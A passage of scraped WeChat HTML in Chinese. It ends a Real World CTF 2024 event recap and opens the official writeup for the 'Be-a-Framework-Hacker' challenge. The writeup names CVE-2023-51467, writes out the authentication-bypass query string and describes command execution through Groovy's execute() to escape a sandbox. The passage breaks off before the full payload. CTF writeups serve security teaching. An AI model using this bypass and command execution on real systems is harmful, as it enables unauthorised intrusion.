data-template="%7B%22block_id%22%3A1706867139404%2C%22plugin%22%3A%22Template%22%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22template%22%3A%7B%22id%22%3A0%2C%22cate_id%22%3A0%2C%22sub_cate_id%22%3A0%2C%22name%22%3A%22%22%7D%7D" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;box-sizing:border-box;transform: rotateZ(0deg) scale(1);-webkit-transform: rotateZ(0deg) scale(1);-moz-transform: rotateZ(0deg) scale(1);-o-transform: rotateZ(0deg) scale(1);"><section data-inner-id="0" data-inner-name="135editor-template"><section><section data-copyright="135编辑器" data-id="0" data-name="" data-plugin="template" data-template="%7B%22block_id%22%3A1706862159753%2C%22plugin%22%3A%22Template%22%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22template%22%3A%7B%22id%22%3A0%2C%22cate_id%22%3A0%2C%22sub_cate_id%22%3A0%2C%22name%22%3A%22%22%7D%7D" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;box-sizing:border-box;transform: rotateZ(0deg) scale(1);-webkit-transform: rotateZ(0deg) scale(1);-moz-transform: rotateZ(0deg) scale(1);-o-transform: rotateZ(0deg) scale(1);"><section data-inner-id="0" data-inner-name="135editor-template"><section><section data-copyright="135编辑器" data-id="100162" data-name="" data-plugin="template" data-template="%7B%22block_id%22%3A1706861954451%2C%22plugin%22%3A%22Template%22%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22margin%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22template%22%3A%7B%22id%22%3A100162%2C%22cate_id%22%3A0%2C%22sub_cate_id%22%3A0%2C%22name%22%3A%22%22%7D%7D" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;box-sizing:border-box;transform: rotateZ(0deg) scale(1);-webkit-transform: rotateZ(0deg) scale(1);-moz-transform: rotateZ(0deg) scale(1);-o-transform: rotateZ(0deg) scale(1);"><section data-inner-id="100162" data-inner-name="135editor-template"><section data-id="100162"><section data-role="animate"><svg viewBox="0 0 1200 800" xml:space="default" style="margin-bottom: -8px;"><g><foreignObject width="100%" height="100%"><svg data-width="100%" space="default" style="width: 100%;display: block;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMur3RXrtIgVBwwibN6SrbWOyI40gZe2ptYYl7vqxs4vicgV8CbXSh6muibHtFE7McSqicTEMRVVf74WY4Q/640&#34;);background-size: 100%;background-repeat: no-repeat;background-position: 0% 0%;max-width: 100% !important;box-sizing:border-box;" viewBox="0 0 602 402" xml=""></svg></foreignObject></g><g transform="translate(0 0)"><foreignObject width="100%" height="100%"><svg data-width="100%" space="default" style="width: 100%;display: block;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMur3RXrtIgVBwwibN6SrbWOyIyflvXM9EWokunrPmjDwb1JkcJN26nbd0LUWf4czfiaTbFhPibLucZC5w/640&#34;);background-size: 100%;background-repeat: no-repeat;background-position: 0% 0%;max-width: 100% !important;box-sizing:border-box;" viewBox="0 0 1366 911" xml=""></svg></foreignObject><animateTransform attributeName="transform" type="translate" values="0 0; 0 0; 0 0; 0 0; 0 0; 0 0; 0 0; 0 0; 1200 0;" calcMode="spline" keySplines="0.60 0 0.10 1;0 0 1 1;0.60 0 0.10 1;0 0 1 1;0.60 0 0.10 1;0 0 1 1;0.60 0 0.10 1;0 0 1 1" dur="8s" repeatCount="indefinite"></animateTransform></g><g transform="translate(0 0)"><foreignObject width="100%" height="100%"><svg data-width="100%" space="default" style="width: 100%;display: block;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMur3RXrtIgVBwwibN6SrbWOyI3pMcHsiaIia4iaUtpjXAs3nrKvDEp9umAw60XZJlhxVCico0p9yIZ9QhpA/640&#34;);background-size: 100%;background-repeat: no-repeat;background-position: 0% 0%;max-width: 100% !important;box-sizing:border-box;" viewBox="0 0 1366 911" xml=""></svg></foreignObject><animateTransform attributeName="transform" type="translate" values="0 0; 0 0; 0 0; 0 0; 0 0; 0 0; -1200 0; -1200 0; -1200 0;" calcMode="spline" keySplines="0.60 0 0.10 1;0 0 1 1;0.60 0 0.10 1;0 0 1 1;0.60 0 0.10 1;0 0 1 1;0.60 0 0.10 1;0 0 1 1" dur="8s" repeatCount="indefinite"></animateTransform></g><g transform="translate(0 0)"><foreignObject width="100%" height="100%"><svg data-width="100%" space="default" style="width: 100%;display: block;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMur3RXrtIgVBwwibN6SrbWOyIsXt93q3qmbGvoPZBGvibBwA2szJyqTVtRoDrhsvgfQ9FTy1lpYgFJIw/640&#34;);background-size: 100%;background-repeat: no-repeat;background-position: 0% 0%;max-width: 100% !important;box-sizing:border-box;" viewBox="0 0 1366 911" xml=""></svg></foreignObject><animateTransform attributeName="transform" type="translate" values="0 0; 0 0; 0 0; 0 0; 1200 0; 1200 0; 1200 0; 1200 0; 1200 0;" calcMode="spline" keySplines="0.60 0 0.10 1;0 0 1 1;0.60 0 0.10 1;0 0 1 1;0.60 0 0.10 1;0 0 1 1;0.60 0 0.10 1;0 0 1 1" dur="8s" repeatCount="indefinite"></animateTransform></g><g transform="translate(-979.972 0)"><foreignObject width="100%" height="100%"><svg data-width="100%" space="default" style="width: 100%;display: block;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMur3RXrtIgVBwwibN6SrbWOyI40gZe2ptYYl7vqxs4vicgV8CbXSh6muibHtFE7McSqicTEMRVVf74WY4Q/640&#34;);background-size: 100%;background-repeat: no-repeat;background-position: 0% 0%;max-width: 100% !important;box-sizing:border-box;" viewBox="0 0 602 402" xml=""></svg></foreignObject><animateTransform attributeName="transform" type="translate" values="0 0; 0 0; -1200 0; -1200 0; -1200 0; -1200 0; -1200 0; -1200 0; -1200 0;" calcMode="spline" keySplines="0.60 0 0.10 1;0 0 1 1;0.60 0 0.10 1;0 0 1 1;0.60 0 0.10 1;0 0 1 1;0.60 0 0.10 1;0 0 1 1" dur="8s" repeatCount="indefinite"></animateTransform></g></svg></section></section></section></section></section></section></section></section></section></section></section><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;"><span style="color: black;font-size: 15px;letter-spacing: normal;line-height: 1.87em;">值得一提的是，本届直播在围炉夜话和赛题精讲的同时，还邀请了多位CTF老赛棍、出题人科普CTF冷知识、翻牌互动抽奖，奉上一波RWCTF的往届精彩爆料。</span></p><p style="text-align:justify;"><span style="color: black;font-size: 15px;letter-spacing: normal;line-height: 1.87em;"><br/></span></p><section data-tools="135编辑器" data-id="129423"><section style="margin: 10px auto;"><section style="background-color: #bababa;border-radius: 5px 5px 0 0;padding: 4px 10px;box-sizing:border-box;"><section style="display: flex;justify-content: space-between;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 6px;height: 6px;border-radius: 100%;background-color: rgb(254, 241, 0);box-sizing: border-box;overflow: hidden;"><br/></section></section><section style="font-size: 16px;color: #ffffff;text-align: justify;padding: 0 10px;box-sizing:border-box;"><strong>可乐上惊现“0day”可还行</strong></section></section><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="width: 7px;height: 7px;border-radius: 100%;background-color: rgb(241, 241, 241);margin: 0px 0px 0px 10px;box-sizing: border-box;overflow: hidden;"><br/></section><section style="width: 7px;height: 7px;border-radius: 100%;background-color: rgb(241, 241, 241);margin: 0px 0px 0px 10px;box-sizing: border-box;overflow: hidden;"><br/></section><section style="width: 7px;height: 7px;border-radius: 100%;background-color: rgb(241, 241, 241);margin: 0px 0px 0px 10px;box-sizing: border-box;overflow: hidden;"><br/></section></section></section></section><section style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><img class="rich_pages wxw-img" data-ratio="0.9943502824858758" style="vertical-align: inherit;width: 100%;box-sizing:border-box;max-width:100% !important;" data-w="1062" src="https://wechat2rss.xlab.app/img-proxy/?k=3278ab1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyIx7hicejEdmlvoRg9dxlaqOPXPXc5xMWzy9JlvvcSicfe9H41VSWgs5xg%2F640"/></section><section style="padding: 5px 10px 10px;background-color: #f1f1f1;box-sizing:border-box;"><section data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#333333;background-color: transparent;"><p>翻库房翻出了当年RWCTF第二届线下赛签道题同款定制可乐（老古董满满的回忆），主办方给选手发放的可乐上居然印有flag，也是诚意满满了。</p></section></section></section></section><section data-tools="135编辑器" data-id="129423"><section style="margin: 10px auto;"><section style="background-color: #bababa;border-radius: 5px 5px 0 0;padding: 4px 10px;box-sizing:border-box;"><section style="display: flex;justify-content: space-between;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 6px;height: 6px;border-radius: 100%;background-color: #fef100;overflow: hidden;box-sizing:border-box;"><br/></section></section><section style="font-size: 16px;color: #ffffff;text-align: justify;padding: 0 10px;box-sizing:border-box;"><strong>解题成功反成“翻座现场”？</strong></section></section><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="width: 7px;height: 7px;border-radius: 100%;background-color: #f1f1f1;margin: 0px 0px 0px 10px;overflow: hidden;box-sizing:border-box;"><br/></section><section style="width: 7px;height: 7px;border-radius: 100%;background-color: #f1f1f1;margin: 0px 0px 0px 10px;overflow: hidden;box-sizing:border-box;"><br/></section><section style="width: 7px;height: 7px;border-radius: 100%;background-color: #f1f1f1;margin: 0px 0px 0px 10px;overflow: hidden;box-sizing:border-box;"><br/></section></section></section></section><section style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><img class="rich_pages wxw-img" data-ratio="0.7472222222222222" data-w="1080" style="vertical-align: inherit;width: 100%;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=70dbe837&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyIv3X8BUicoT5vZhmApP0q4bHux79VibSwHH7PPvWSEThDeI8gg4cOMMVQ%2F640"/></section><section style="padding: 5px 10px 10px;background-color: #f1f1f1;box-sizing:border-box;"><section data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#333333;background-color: transparent;"><p>故事发生在首届RWCTF现场，这位来自LC↯BC战队的选手来挑战一道名为KitKot的题目。此前他已经上台挑战2次未果了，但这一次的利用顺利成功了。兴奋之余一个后仰，成功坐翻小凳子。</p></section></section></section></section><section data-tools="135编辑器" data-id="129423"><section style="margin: 10px auto;"><section style="background-color: #bababa;border-radius: 5px 5px 0 0;padding: 4px 10px;box-sizing:border-box;"><section style="display: flex;justify-content: space-between;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 6px;height: 6px;border-radius: 100%;background-color: #fef100;overflow: hidden;box-sizing:border-box;"><br/></section></section><section style="font-size: 16px;color: #ffffff;text-align: justify;padding: 0 10px;box-sizing:border-box;"><strong>大哥电脑自带天线？</strong></section></section><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="width: 7px;height: 7px;border-radius: 100%;background-color: #f1f1f1;margin: 0px 0px 0px 10px;overflow: hidden;box-sizing:border-box;"><br/></section><section style="width: 7px;height: 7px;border-radius: 100%;background-color: #f1f1f1;margin: 0px 0px 0px 10px;overflow: hidden;box-sizing:border-box;"><br/></section><section style="width: 7px;height: 7px;border-radius: 100%;background-color: #f1f1f1;margin: 0px 0px 0px 10px;overflow: hidden;box-sizing:border-box;"><br/></section></section></section></section><section style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><img class="rich_pages wxw-img" data-backh="450" data-backw="578" data-ratio="0.7787037037037037" data-w="1080" style="vertical-align: inherit;width: 100%;box-sizing: border-box;max-width: 100% !important;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8c24f341&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyIJpCk3JvDXGG087oibDkLMBBtXXyoITLueLcwP8WMbbIa1JuricCiaQic1g%2F640"/></section><section style="padding: 5px 10px 10px;background-color: #f1f1f1;box-sizing:border-box;"><section data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#333333;background-color: transparent;"><p>RWCTF出题人曾编写一整套具有漏洞的智能门锁系统，并<span style="color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;text-wrap: wrap;background-color: rgb(241, 241, 241);">提供了433兆赫兹的通信硬件，而</span>选手的目标是上台来通过无接触的方式通过漏洞修改门锁的密码（无线操作场景）。现场有一位大哥的电脑魔改的非常有趣，甚至自带天线，他直接用自己的设备挑战了这道题目。</p></section></section></section></section><section data-role="paragraph"><p><br/></p><p><br/></p><p><br/></p><p><img class="rich_pages wxw-img" data-backh="178" data-backw="578" data-ratio="0.30833333333333335" data-w="1080" style="vertical-align: inherit;width: 100%;box-sizing: border-box;max-width: 100% !important;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e9e5aece&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyIKbiaictqu2yp43SyGGNfjtmPSsJdxYtbiak3FClSWytMD2TUAnh8k0CwA%2F640"/></p></section><section style="width: 1px;height: 1px;overflow: hidden;left: -1000px;white-space: nowrap;top: 2663px;box-sizing:border-box;"><br/></section><section data-role="paragraph"><p><br/></p><p style="text-align:center;"><img class="rich_pages wxw-img" data-backh="397" data-backw="578" data-ratio="0.6876971608832808" data-w="634" style="vertical-align: inherit;width: 100%;box-sizing: border-box;max-width: 100% !important;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1313a381&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyIyhXoWB6X7gyS0Ik4UQ4t3MTJia8QHOfSibjppVXVXsU72fapCjsWCickA%2F640"/></p><p style="text-align:left;"><strong><span style="font-size: 15px;letter-spacing: normal;line-height: 1.87em;color: #7ac259;">历经本届姿势各异的题目挑战，选手们纷纷放出评分，在评分榜“保持队形”， 投出了清一色的100分反馈。</span></strong><span style="color: black;font-size: 15px;letter-spacing: normal;line-height: 1.87em;">这一波热i没有一直挂在嘴边，但行动见证了他们对RWCTF最真挚的认可。</span></p><p style="text-align:left;"><br/></p><p style="text-align:center;"><img class="rich_pages wxw-img" data-backh="133" data-backw="578" data-ratio="0.23076923076923078" data-w="832" style="vertical-align: inherit;width: 100%;box-sizing: border-box;max-width: 100% !important;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=2231f46b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyIE2mTXnbEJZ2qQXKFprF8NTxwgBYCroKMgYQNgV2UVy6FtfnGbicu0LA%2F640"/></p><p style="text-align:center;"><img class="rich_pages wxw-img" data-backh="574" data-backw="578" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="574" data-ratio="0.7425925925925926" data-w="1080" style="vertical-align: inherit;width: 578px;box-sizing: border-box;height: 429px;max-width: 100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=53f89da3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyIfyYYhWicIdpsMylXpes4Nic5L4ibvibiadFDicZ0KgmPOdpug7LhKw8RCWtg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align:center;"><br/></p><p style="text-align:center;"><span style="color: black;font-size: 15px;letter-spacing: normal;line-height: 1.87em;">当真，i了，爱了。</span></p><p style="text-align:left;"><br/></p><p style="text-align:left;"><br/></p><p style="text-align:center;"><img class="rich_pages wxw-img" data-ratio="0.0787037037037037" style="vertical-align: inherit;width: 100%;box-sizing:border-box;max-width:100% !important;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=aa2bf6c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyIYPMgQnjoVLHHw3REITgoGXMOtoUdl9rAfibw0j84Lx1F3QeT6FiaTiaAQ%2F640"/></p><p style="text-align:center;"><br/></p><p style="text-align:center;"><span style="color: black;font-size: 15px;letter-spacing: normal;line-height: 1.87em;">生命不息，热爱不止</span></p><p style="text-align:center;"><span style="color: black;font-size: 15px;letter-spacing: normal;line-height: 1.87em;">以真实为名、以极客为名</span></p><p style="text-align:center;"><span style="color: black;font-size: 15px;letter-spacing: normal;line-height: 1.87em;">让我们相约</span></p><p style="text-align:center;"><span style="color: black;font-size: 15px;letter-spacing: normal;line-height: 1.87em;">下一届Real World CTF</span></p><p style="text-align:center;"><span style="color: black;font-size: 15px;letter-spacing: normal;line-height: 1.87em;">再起征程</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: justify;"></span></p></section></section><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==%5cx26amp;mid=2651387025%5cx26amp;idx=1%5cx26amp;sn=1713f4d33f89fed6f9e3d155d09ebf95%5cx26amp;chksm=8d398519ba4e0c0f089679375e3056a5db9f88859958fb985a37bb0ca4d58c5effb09561eec8%5cx26amp;token=580866426%5cx26amp;lang=zh_CN#rd">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f5afb6d4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247501518%26idx%3D1%26sn%3D01cefd9f970cc78b80a55da9504f2e81%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 04 Feb 2024 18:18:00 +0800</pubDate>
    </item>
    <item>
      <title>【Real World CTF 6th Writeup】就是它！RWCTF 2024体验赛官方Writeup奉上！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247501518&amp;idx=2&amp;sn=d153fbbdc8f19fba52f125201618e15a</link>
      <description>这篇很长、但料很足，建议留个整时间，沉浸式食用😋</description>
      <content:encoded><![CDATA[<p>
<span>长亭科技</span> <span>2024-02-04 18:18</span> <span style="display: inline-block;">河南</span>
</p>

<p>这篇很长、但料很足，建议留个整时间，沉浸式食用😋</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5c9f282b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FtzAD45OOV0aLkEqpIAPARA87Elwc9WlsrGMj27mOB6lluibxYvJMT4SsWM6pNOqbA9ic8M87nyuzM9JXAOjVu7mw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p data-mpa-powered-by="yiban.io"><br/></p><section data-role="outer" label="edit by 135editor" style="font-size: 16px;"><p style=""><br/></p><p style=""><img class="rich_pages wxw-img" data-backh="104" data-backw="578" data-imgfileid="503903319" data-ratio="0.18" style="vertical-align: inherit;width: 100%;height: auto;" data-type="gif" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=cf6aa4eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FFuleibl6qMuoXiba6nSs3GtQOG2ibmeic0CqfRbMjAd3TDlMhtplvr15ASibjLxCjGicRJw4PYaGicSgvztpIVkUYD3TA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><p style=""><br/></p><p style=""><br/></p><section data-role="title" data-tools="135编辑器" data-id="119833" style=""><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="display: flex;align-items: flex-end;"><section style="flex-shrink: 0;"><section style="width: 5px;height: 5px;background-color: rgb(146, 208, 80);overflow: hidden;transform: translateX(10px);"><br/></section><section style="width: 5px;height: 5px;background-color: rgb(146, 208, 80);overflow: hidden;transform: translateX(5px);"><br/></section><section style="width: 5px;height: 5px;background-color: rgb(146, 208, 80);overflow: hidden;"><br/></section><section style="width: 5px;height: 5px;background-color: rgb(146, 208, 80);overflow: hidden;transform: translateX(5px);"><br/></section><section style="width: 5px;height: 5px;background-color: rgb(146, 208, 80);overflow: hidden;transform: translateX(10px);"><br/></section></section><section style="padding-right: 20px;padding-left: 20px;"><section style="padding-right: 5px;padding-left: 5px;font-size: 18px;color: rgb(146, 208, 80);text-align: center;border-bottom: 1px solid rgb(146, 208, 80);"><strong data-brushtype="text">Challenge</strong></section></section><section style="flex-shrink: 0;"><section style="width: 5px;height: 5px;background-color: rgb(146, 208, 80);overflow: hidden;transform: translateX(-10px);"><br/></section><section style="width: 5px;height: 5px;background-color: rgb(146, 208, 80);overflow: hidden;transform: translateX(-5px);"><br/></section><section style="width: 5px;height: 5px;background-color: rgb(146, 208, 80);overflow: hidden;"><br/></section><section style="width: 5px;height: 5px;background-color: rgb(146, 208, 80);overflow: hidden;transform: translateX(-5px);"><br/></section><section style="width: 5px;height: 5px;background-color: rgb(146, 208, 80);overflow: hidden;transform: translateX(-10px);"><br/></section></section></section></section></section><p style=""><br/></p><section data-role="title" data-tools="135编辑器" data-id="138191" style=""><section style="margin: 10px auto;display: flex;align-items: center;"><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="padding-top: 4px;padding-bottom: 4px;"><section style="padding-right: 4px;padding-left: 4px;border-width: 1px;border-style: solid;border-color: rgb(215, 227, 188);"><section style="background-color: rgb(146, 208, 80);width: 2.2em;height: 2.2em;display: flex;justify-content: center;align-items: center;"><section style="font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><strong>0</strong><strong data-original-title="" title="">1</strong></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;font-size: 16px;color: rgb(146, 208, 80);text-align: center;"><span style="font-size: 17px;"><strong data-brushtype="text">Be-a-Framework-Hacker</strong></span><strong data-brushtype="text"></strong></section></section><section data-width="100%" style="width: 100%;border-top: 1px solid rgb(215, 227, 188);height: 1px;overflow: hidden;"><br/></section><section style="flex-shrink: 0;"><section style="width: 22px;height: 0px;overflow: hidden;"><br/></section></section></section></section><p style=""><br/></p><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx3rbdn8x7geci82no&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx3u6z544md3z4pbpd&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;Clone-and-Pwn&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;, &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx3uih5hi7oqtljbkf&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;difficulty:Baby&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx3r3xkd4wxt56yj7e&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;由于提供了附件，可以使用如下命令在本地启动一个服务&#39;]]]]" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;background-color: rgb(216, 216, 216);">Clone-and-Pwn</span><span style="font-size: 15px;">,<span style="background-color: rgb(216, 216, 216);"> difficulty:Baby</span></span></p><p><br/></p><p><span style="font-size: 15px;">由于提供了附件，可以使用如下命令在本地启动一个服务</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">docker</span> <span style="color: rgb(202, 125, 55);">build</span> . <span style="color: rgb(202, 125, 55);">-t</span> <span style="color: rgb(202, 125, 55);">rwctf</span>:be-a-framework-hacker</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">docker</span> <span style="color: rgb(202, 125, 55);">run</span> <span style="color: rgb(202, 125, 55);">--rm</span> <span style="color: rgb(202, 125, 55);">-p</span> 8443:8443 <span style="color: rgb(202, 125, 55);">rwctf</span>:be-a-framework-hacker</span></code></pre></section><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrxalnlpxqj1ts66fej&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;这题主要考察的漏洞是&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrxam3r0iwld6clsaag&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;bold&#39;:true,&#39;highlight&#39;:&#39;rgb(245, 246, 248)&#39;,&#39;spacing&#39;:-0.16874999999999998,&#39;data-type&#39;:&#39;leaf&#39;},&#39;CVE-2023-51467&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;，通过&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrxasooe5lsc6nin2nu&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;?USERNAME=&amp;PASSWORD=&amp;requirePasswordChange=Y&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;绕过鉴权。绕过鉴权之后可以执行 groovy 表达式, 这里使用的是 groovy 的 &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrxarfn8gyrqcgcpm5s&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;\&#39;\&#39;.execute()&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;语法来执行命令，绕过沙箱，具体 payload 如下&#39;]]]]" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">这题主要考察的漏洞是</span><span style="letter-spacing: 0px;font-size: 15px;background-color: rgb(214, 214, 214);"><strong>CVE-2023-51467</strong></span><span style="font-size: 15px;">，通过</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">?USERNAME=&amp;PASSWORD=&amp;requirePasswordChange=Y</span><span style="font-size: 15px;">绕过鉴权。绕过鉴权之后可以执行 groovy 表达式, 这里使用的是 groovy 的 </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">&#34;&#34;.execute()</span><span style="font-size: 15px;">语法来执行命令，绕过沙箱，具体 payload 如下</span></p></article><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrxalnlpxqj1ts66fej&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrxam3r0iwld6clsaag&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;bold&#39;:true,&#39;highlight&#39;:&#39;rgb(245, 246, 248)&#39;,&#39;spacing&#39;:-0.16874999999999998,&#39;data-type&#39;:&#39;leaf&#39;},&#39;CVE-2023-51467&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]]]]" 